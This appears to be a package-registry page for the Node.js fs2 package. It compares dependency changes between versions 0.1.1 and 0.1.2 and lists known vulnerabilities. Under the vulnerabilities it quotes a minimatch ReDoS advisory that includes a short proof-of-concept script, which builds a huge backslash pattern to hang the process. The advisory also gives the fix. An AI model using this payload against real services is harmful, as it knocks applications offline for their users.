The fs2 package, designed as an extension to Node.js's built-in fs module, offers utilities for file system operations. Comparing versions 0.1.1 and 0.1.2 reveals subtle improvements and dependency updates. The core functionality remains consistent, focusing on enhancing file system interactions for developers.
A notable difference lies in the dependencies. Version 0.1.2 adopts a more specific dependency on es5-ext at "~0.9.1", whereas 0.1.1 had a broader "0.9.x" range. deferred follows a similar pattern, tightening from "0.6.x" to "~0.6.1." This suggests a move towards greater stability and predictability by pinning down specific versions. The devDependencies also reflect a minor update: tad moves from "~0.1.11" to "~0.1.12", indicating improvements in the testing framework.
For developers, these changes imply potentially increased stability and fewer unexpected issues arising from dependency updates. While the core API likely remains unchanged, users should be aware of the tighter constraints on es5-ext and deferred when integrating fs2 into their projects. Consider these dependency adjustments if you encounter version conflicts within your environment. The package's author, Mariusz Nowak, provides contact information for addressing any integration concerns and the repository link offers access to the source code for deeper insights. Ultimately these adjustments enhance the tool’s reliability within the Node js ecosystem.
All the vulnerabilities related to the version 0.1.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
